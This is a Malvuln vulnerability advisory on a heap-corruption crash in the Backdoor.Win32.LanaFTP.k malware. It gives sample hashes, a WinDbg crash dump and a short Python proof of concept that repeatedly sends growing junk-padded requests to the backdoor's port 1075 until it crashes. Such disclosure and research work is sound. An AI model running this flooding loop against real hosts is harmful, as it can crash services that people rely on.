Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/e2660742a80433e027ee9bdedc40e190.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.LanaFTP.k Vulnerability: Heap Corruption Description: The malware listens on TCP port 1075. Third-party attackers who can reach the server can send a specially crafted sequential payload causing a heap corruption. Type: PE32 MD5: e2660742a80433e027ee9bdedc40e190 Vuln ID: MVID-2021-0369 ASLR: False DEP: False Safe SEH: True Disclosure: 10/15/2021 Memory Dump: (5ec.db4): Access violation - code c0000005 (first/second chance not available) eax=0000168f ebx=026b6ad8 ecx=00000000 edx=a0026800 esi=026b6ae0 edi=02680000 eip=776e2d6c esp=04aaf8b8 ebp=04aafa78 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 ntdll!RtlpAllocateHeap+0x37c: 776e2d6c 8b5204 mov edx,dword ptr [edx+4] ds:002b:a0026804=???????? 0:007> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.LanaFTP.k.e2660742a80433e027ee9bdedc40e190.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.LanaFTP.k.e2660742a80433e027ee9bdedc40e190.exe FAULTING_IP: ntdll!RtlpAllocateHeap+37c 776e2d6c 8b5204 mov edx,dword ptr [edx+4] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 776e2d6c (ntdll!RtlpAllocateHeap+0x0000037c) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: a0026804 Attempt to read from address a0026804 PROCESS_NAME: Backdoor.Win32.LanaFTP.k.e2660742a80433e027ee9bdedc40e190.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: a0026804 READ_ADDRESS: a0026804 FOLLOWUP_IP: msvcrt!__CRTDLL_INIT+fa 744c5720 85c0 test eax,eax MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00000db4 BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption_INVALID_POINTER_READ PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption LAST_CONTROL_TRANSFER: from 776e16b7 to 776e2d6c STACK_TEXT: 04aafa78 776e16b7 00000208 00000210 0268039c ntdll!RtlpAllocateHeap+0x37c 04aafac8 776e13ee 002c0008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7 04aafae4 77700ee3 02680000 002c0008 00000208 ntdll!RtlAllocateHeap+0x3e 04aafb14 74a0f6f6 00000000 74490000 02843330 ntdll!RtlProcessFlsData+0x53 04aafb28 744c5720 00000001 02843330 04aafb50 KERNELBASE!FlsSetValue+0x46 04aafb3c 7770e746 74490000 00000002 00000000 msvcrt!__CRTDLL_INIT+0xfa 04aafb5c 776dcbef 744c5610 74490000 00000002 ntdll!LdrxCallInitRoutine+0x16 04aafba8 776da6dd 00000002 00000000 f0911053 ntdll!LdrpCallInitRoutine+0x7f 04aafc98 77703b28 f091103b 04aafd24 776a0000 ntdll!LdrpInitializeThread+0x1ed 04aafcf0 7770370e 00000000 00000000 04aafd10 ntdll!_LdrpInitialize+0x40d 04aafd00 777036bc 00000000 f09111db 00000000 ntdll!LdrpInitialize+0x34 04aafd10 00000000 04aafd24 776a0000 00000000 ntdll!LdrInitializeThunk+0x1c SYMBOL_STACK_INDEX: 5 SYMBOL_NAME: msvcrt!__CRTDLL_INIT+fa FOLLOWUP_NAME: MachineOwner MODULE_NAME: msvcrt IMAGE_NAME: msvcrt.dll DEBUG_FLR_IMAGE_TIMESTAMP: 692918b7 STACK_COMMAND: !heap ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~7s; .ecxr ; kb FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption_c0000005_msvcrt.dll!__CRTDLL_INIT BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption_INVALID_POINTER_READ_msvcrt!__CRTDLL_INIT+fa Exploit/PoC: MALWARE_HOST="x.x.x.x" PORT=1075 sz=1000 def doit(): global sz s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) sz += 1000 JUNK = "A"*sz PAYLOAD="POST /\r\n"+JUNK+ " HTTP\r\n/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n" s.send(PAYLOAD) s.close() if __name__=="__main__": while 1: doit() print("Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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